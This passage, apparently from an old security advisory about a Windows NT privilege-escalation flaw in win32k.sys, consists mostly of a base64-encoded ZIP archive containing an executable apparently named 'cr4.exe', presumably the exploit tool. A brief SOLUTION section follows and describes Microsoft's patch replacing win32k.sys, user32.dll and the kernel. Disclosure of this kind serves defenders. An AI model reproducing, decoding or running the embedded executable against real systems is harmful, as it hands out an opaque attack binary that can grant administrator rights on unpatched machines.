AkgmTYLYpUhFexc3AiVjIhGRV8ukoI5nNIqsOQpaZFCrYaeJCSoExk7qx9ZejgcYQbSKJQBD
kV78YhB9sXLPKB6Llc0jVNlcQovLaWEpjSKOHDQR5tH+YhDPIOvwNxXC/CaG1nI/+L7RBPc0
3iN9d1kxwFV5zjHgOOL4vgUSmL9iaI5/g+jJOP/9Ov7zcESwMWDLfYnbD/ZJiKaRxy158X2Q
sV1RTQmy136AvUM8wFuuKJ2rNNGXY2kG7AZk61sOTe3EbuWtRArpRCf92kqC9gMIu6OYnC/m
O5koaLuTNnYQg6+TgXdug/psVJ816vMB9blUfXrUZ5H6dKrPbPVpVZ9T1adFfaaoT5P6BMyZ
vofxBKeHBt0dL3b14c8bkU70/YLIcTJMB8TR9o+Mj6MMCGguY3knbU9pqVcea5XHA8pjmfIo
UR6LlEeh8shTHrOUx93KY6ryuE15TFAeScrDoDz08Aj+SEFGGG3XEw7U71sZobVxy1sRPQsK
+gJ/xdQ886rRUriwaQTq0etYXh0+8gHh+/w3tEA0+XuE+f3LNMIE/zJaSE1QOXmu7rCOKGD+
wIAIGcC/AGU5WhgARcVtBMAXkm80t1KUJ0mAZnHGKAUBiyB4DP5SZ4m0JEQsdW5EqTTjsvob
FTjH+YNnAnQabgwtkQYSAN3CNAN/0NKNe/jFfB6LPM0uFWeiHBMfJ9YZnSbfy4j1jH/ly4aO
rzdZRZ14VAyBHF8mjk0/BsKlR5hPC3ElZZKR7DoyZRK668vcfHe44+vWo7wjjWL1YlZa8OXl
ZFc/oMdmUBBF7F2P1HaJuM7R+Fk5GvfyeRvIVJuycwv49+DZsHpwWzlDQE/SQZ8FEyLvTjzt
vBPfdb2LioaOTu6t1dSgq+KtpaScBHJisqNT0HKqm+wzKV8lTlgx/P0AGnLiJdBts2ppos/J
zStdHIEnljhT+ifeMmkyRfoKCim5vRvz27/BO8iMtyNfQKh6pYb4rRFT/40RuFZAjlKpxrlS
pg1/Not0/R+uKwG3fbiiEbHhDWTfAZdsuxhq+/ZiMIzpNOlWqHdAMlVPkWXj3qO4dBW/D3u+
vFs8UVKzrwx8ntcZXOfwjMDfe4McHBlOr0drbHm3up72Ep/XhpQkEtDYsQNd2Lxl5NxWca3H
73rJA4T8KcCpXen3vVQiffKa6unht4a1uSTtnZg0vb/8paCmQEI9k2gCvD3eUoCA57GDa2sH
pDUMOqB+V7iW8tRqa7ZsxjWi5xE+WWsplW4BYMs8YGg9oSSC/oZyT5ByLEK5TcFYZlN24hMs
CiNu9CeUeqSnlEEaXtMlBDYrvBWN0xgHMf6ShpxVghoD/sI0MH2NYMEtWyJlxZN9521L0rQl
tsPbFqfFF+MZjDTGQxITS8TFaeZi4/7CtFSPcf+StNtKap4ERGrqgFulS5+Qg537MAImR2R/
mfhLNW1oMebnU8rAD3yjLGr3OtlMicjU/lLp1n1q92v7SG6ZlEhSwI5YqqR4pVfwsyhlMcVb
swf93ktxSNWafyNUGoBIzbv4Kh/FT3EDepxH6Fes6Jb6IBONlbZIOvnBF/AYd2GErMPV9CLI
j1GM1Oqkxyn0m2vHSscAwjLpEzy7SFHD++Z4HGla0CwnhqDWTryJ5o6tuDB3nM8LkYn8uXQn
WCZyMh6Bwu+MOfxk3CAnU21QKpkmH8KbiqVNaO5Ez1B48Ays+kWxIXYdCw/TSm0x6ZgARdcr
Sd1KXCOVq3FKXX+zdb6eRZrCH8gh6998KGHTBbJsuF09Y2ST0WM2tV/8CUV1br6DLW3/CpAC
A+kF5KyvUhRDj//qIfYO/istW973KkTbvwK+62TXLGRzF7KNkG7cAtWpPlzLJb+5EXCFeXiQ
5ac+MSYVT1S/SbZ4N0SSOjAJ95SCVZEkXPpVFrJKIkl4NOfNBZg0F2KbIyCDGRBDq+UNXCoK
ToaYGWOkcjLExkZj6i+asGLWzw14+O+KhqyYV6IRpGTBFOAvaQQzyWcT+Es6kMOXtFyWZAPG
rZl7Kyp7XHUplmZ9E9kjw8U/pHKJfBLGFNKGPrhtoyU4UqRJskc+uSzy2yhI833KT5IwFKvj
O5M80npkNkUKdtGUymNteQw5UzlJOTRoWeGEAa55ZiUw6VwgaY8eszVkSiVfIatXTs4U0KME
TaKIp6UssxrIeUSD2qPhsx8o+Uqljy6rVSPdV2ug/lkEgm0K39PPf6Ntmgs3Nhdv2mC8dBT8
lOB0mCariNa9HXcsSDUQFU+vbCMLHCNKSuWj6ADQ8Fym6GVbZ/d2DMNfrbsNtuMdh7m49i5c
mwMR7wrjDc8JobnhGsBV2YGOwyIq10YGnEJrx2F4XWoI6sASFnuCeN6Jm2R8tVFj3HvRPkS+
+GnV3Gt/j2MAGw9+1893xtl7W+L4DVqKOya7QvgFD3I8ZXeFNu8gx+WQC/B7/x6tBr8JzNdG
F7KGceUYcb6JP6PZlcXDIGw4B6Kr1FIi3ptaLD3xtcIK86d6JFsv0CSgn8orUkaYOR3ewMUV
kvFEp5R2UpYlPXDALjNG4/EtBd8WAVGlj3DJOATyq0gcFyj8Xyi05aBWfr+WKpN6rgwrnK9t
x/2raME3EDSDpeIxl9RSsicFd4ZdA3w3+MR298Dmvyg1axAVaWtM7b7B+SYNu0achA2D3tqm
c1jY7xwj2L+12W/n9L+7vSCo/52FZGzpZJncoyztGMF9i5l0QSSZhjp/gzrf1iZ4idSqg+56
5FLAwuSRZqCpE7xNTE6DJkrERAs8inem8k61CDh6CZcUga7QGShM0NUo6H54OQZdNYPBjM7Y
DOll/CwTjxBmKmVKpR2XY6kk+++ng2NUEmkUEt0DBLLP2fQVWmnD+wQbFDNluyo3cT8XxDx+
SiWh3NnmG9zqpbe5z29dpDfudfULulj+GC67gpQNbfVqtrkvbh35Gp5R2eYKby3Q4ervPwx9
t7VAu0Jd291O1nbJ/RC5v0vuR8n9BLn3kvtpcj9D7mfJXSL3c+TeT+4D5B4i9zC5Uz/BO03u
DLkbyN1E7mZyTyH3VHK3kHsauU8l9+nkbiX3bHJ3/ATtz/9XrnkNTXUV9ZWWgvR0ywxLQUPj
xqZ1a2tYS0ZOzkxLJHNBPVt3F+h/EFuPqwF/YTFybTJBfJGTOrhISXtug/OGbf296/GJ31/+
/e/JP0M+W9FRm9AyJT86q6Oej74r16hJ/37909fU+fUd34/Ta9+TH4FpfUiBycC7Cd4ZeHfU
N+BXMnOoyC8lQAn8Widy4ac0kSvdNvyOH1Dg1xP/N18PfQ9+EZoUNmEZmvyk7+/FSX2YJz/k
mBTb1//ua9Wqe6pY14Y1VY1s4eLFwx8sedmKNQ9a7mupaqqua3j4thvUHKG9McSEmF+Cjr20
WuUHjm9eN6+b183rv/fKxNsDIInU8P/05VTsiJqNTqoRwlYIv4DwWwhvQfgAwpcQwhBG/dBJ
pUOYC+FeCKshNEB4BMI2CHsgdEJ4D8InEPohaB9xUmYIUyHYIayC0AKhA8LPIfwGQieEIxBO
QeiDcBHCqE3gaELIhlAEYTUEDsKPIeyB0APhBISzEC5AGICAOt7V1NTQZLFSC+pbKurWVVqq
ufo17LqGeks9t351VRN1b4OlmVtTY6leV1dlgZKV65qq1rANTRspTwVbYwGrwVLdwNVXUksa
GizrK+o3Whoaq+pJ8WbKU9W0fl1zM4KrrKpfV1WJX/EqoFTw7qr1AMtS0VRVX2Fhmyqaa6DQ
vQC0qr6BW1tjWU/yo9gpUcvqugZQiBWVlU1Vzc3RzKr6lnVNDfXrq+rZ4e40NK2vGI5WrFkD
NSxrGiqromnkd/8Rrwi8SJcrq1rWrami8lm2an0jW1VpYRssTYBAS5VlDdcEGLMx1ECcmyvW
V0VqARBAtUolRLT9prUcwS+/aa2lbl0zCzAbLKvXraVcG6rWqNhaqnBMqIKmhubmGQo4KFv/
4A1JDO2sqVlXV4l/2wL7RhqraIRYY9O6CrbKsuDu+6C/9WxTQx3Wa6rA0SXNcWzF6joFQ8u6
egvXXEXNx3dEqQ4wJZ1obqzA5quqWQsZRdK5BXV1VWsr6izNVVUPUiVVFZUzGurrNiqQmjc2
A72GcUXMm6l5TQ0PAs6N6xqrKDcyTpQSJVXNXB0b0yjBoaKuCcButFRtACIBIwEp1iGylZCK
g0/dF+kKYcFGZDQYp8ro4KnkAGKwQE6OjF+Ut9dU1NVBTiPH3t3AsfBQSX71yCO7R3gCsGzg
miANeaGhqaJpHfSXq69oqVhXh1Sk5hGWVCs2VT3EAWdUDldbzTUrPFIRwzMLmq+Kkp7XIw8R
YjTUr6V89Q/WNzxcr6KXa1H+mMfUeq6u7k6KMps15mQzXFrKrKPNI/SRyzx8GccZGXjEm8dG
kxKHc00JRqORSTCb48xjRo4ym0ebDcP5RNzR85TzfFSSVkvr4xiGMSfrk0bp9aO1t9w5fSpe
5KHX3zlu3KjYyzh9sna6cRrkJU1M1Wr1Ru24qdOSpqm5k0elTh03eUoSJEWu6dOU97HTLNqk
VDpulJquhXBHSkpS0qRoUSioT4q59Ne9qNfklKQbXdYbpiYlWaYlWf5O1n/8InTrX+gkIawG
mI31bLUl1wImPPBt/VpLYwOkqFO+mXAxThVgmuY1FfX/sZJwZUJzwz4uBo36h1wif9dFq/6d
l+ELPQLcU4yEv3clJuB/ippizay8W71lVVqmZFbmYozc7sIbwH+wqqm+qs6WeVclTC1wYzww
//LVyaO66za0A/JX12M/6qJ/i4fFqVuvSCX18ix3RsN/5lL+XpDy8xD4U/tGhQoU/jIPcjP+
pgEuKFPJT44crrU9C1rRSzlwpx9wwV3TuwzucVkPYOu7MZd6Phfvm0r/c/jcvP7rl2P78Hsh
bm5A/PcxacWQlv2TG9ddCem1EB6DsB3CLyDsg9AD4TSEryDghknCUzA1IGRBmA/hfgj1EDZB
eArCyxB6IPRCOAshDGHU01AHggPCYgjLIVQ/rbS7AZ6PP/1/Dw6LXCX3uharc9LndZWorxTY
FlVgG6C+yYcYrjoM205eFkTVWvxZFdeGdWQe4xwmpQoa1oNOr1y8rj5Sr0AxhJbUoLpeQCRS
QV1Dc1URFAOtSMqQZliAuppjq5qxYiR1ycZGtcziimaWmKJq7uIG0NFL1q2vUuPuhkqujiB8
LyjI/KtSlbYiabGCB/uA+r+gaR27DgB6q9ZE5AyU9LKVUTQxXlrV1BzJrWtYXVGnGKdetoLl
CKwF9QAG7LgfVl0PcHFVRcsNkqmSinXNVcqaTiSFrfPVP7yuHonlRZrWNzfUVRWwTXUKNk1K
OvbVg4KfJGCKkl0A1jb5ERxffQ1JqIxChypq6dJ1TSxXUZdfp/ytqkh8flMVdrYM0CS0jNCh
AnIbF9RXNyAR3UC5irVV8xo25BP6ceuV0S0DlBsebv7+afvfcnl2KDqLVsNUiGdDKILAgoDf
BH2uscE8g1AKaeshPA7hH3agTtCRupl3VW2oopyrVqGdVli1mlu7tqqpEEz/tIdaMJmrv1HG
qlWRlKKGhgcx9e8u0t28/s9eMK5Z8NBYR1jHWMdZ77LOss6x3mMtt66zPm49aa3N1OSczymz
P2X/2DEnryKP1LEAX8Dj9ow5Gd22gO0d2xHb+7YPbKdsS2fWz1w/6+mcJMdaxybHLxyNeVze
7+e+NvfkXFLPSlGH4OGyPmL9kfUj60XroozLGWsz6zNbMsXMzzLPZ8bZ8m332BbZim0+22pb
ra3Ztsn2uO0nto9sn9m+sV2xGbNuzSrOYrNasx7P2pb1VNZPs57P2pH1Yta/Zf0567GZj89c
MmvZrH+d9afs97M/yf4i++vsS9kjckblTMy5M+eunEdzfpvzUc5XOdNyZ+fW5P5TbtjOOAwO
k8PsSHGkOiyONMdUx3SH1ZHlyHY4HE5HoaPIsdjhcSxxLHWsdDzgqHTUOMYq/XBSlASPMxnf
ZdyamZa5JLMiM8O23PawLS5rHGBozcoFLMuzarMezRKynsv6RdaerDey3snqzRo1c+HMtTO5
ma0z+ZlPzDw6c+Ks9Fm5s3yzKmatn8XOemNW16z3Zp2c9cmsKbPvmS3M/vns387eN/v/n/35
7Fuzy7Mbsp/PvjOnK/dQ7nu5J3I/y/0293LuFTvtGOdId2QCxo85nnH80vEbR5fjHccpx+i8
SXlT8/6Q937el3nUnHlzyuZUzqmd0zTn8Tm75vzznL1z/m3OoTkn5nw15/ycy3N0c0fNnTC3
YG7j3N/O3Tf3g7mfzA3O/RZ76gFdSHgj0Wq2rrQ+Ze23TslIz7Bl2DOWZuzOOJ8xJ3NR5qOZ
Qua/ZL6WeTDzQuZ3mRrbCFuBbYmt2vYz2w7bb2x7bAdsD2Q9mBXKombGzzTMtM2cM/Phme0z
n5/5a+j/uFmWWY/OennWq7N6Zh2f9fGs387+dnZq9l3Zz2V3Zr+XfTJ7VU5lzkMwal/kfJtz
JWds7uTcGblrYPQach/O7ch9NvdnuXH2VOj7Ukedg3fsdwSg78cdf3ZccNB5o/Jm5a0H/iub
swl6/eM5/zRn95z4ubfN3TJXnPuTua/OPaKM5QMg3+DxT9YXrL+x7rG+av2jtct6yPqe9QRw
6BnrF9Zz1vPWkPWKlc5IyDBljM1Izbg9Y2rGXRlZGbkZzoz5GYszSnCBp1H525nTrVZrljXb
Wmgtsi62LrFuAbiHANZZK5ORkpGdsTKjJmNLxvaM54F+L2UszmzM3Jr5fPaO7Beyd2e/lL0n
+/fZ+7L/CL0/mH0o+93so9knsnuzT2efyT6bLWWfy+7PHsgOZYezqRw6h8kx5JhyzDkpOak5
lpy0nKk503OsOVk52TmOHGdOYU5RzuIcT86SnKU5K3MeyNma1znnIIz5u3Omz7XOfWBu5dya
uWGkQJvqtlhpa6210dpi3WR9zLoV5ucz1v8R+XPzunndvG5eN6+b183r5nXzunndvP7Hrv8N
UEsBAhUDFAAAAAgAD4DqIr9VOPs7PgAAAIAAAAcADAAAAAAAAAAAQLSBAAAAAGNyNC5leGVV
WAgACBfGM+7cxDNQSwUGAAAAAAEAAQBBAAAAcD4AAAAA
-----
SOLUTION
A new patch was released by Microsoft, and the date of the release
seems to be June 15. The new patch is supposed to close this
problem as well.
As a side note, the patch consists in a new win32k.sys module
(which replaces the old win32k.sys vulnerable to the EAX=4346
call) and a new user32.dll as well as a new kernel (UP and MP).
Anyway, same solution as for getadmin #1.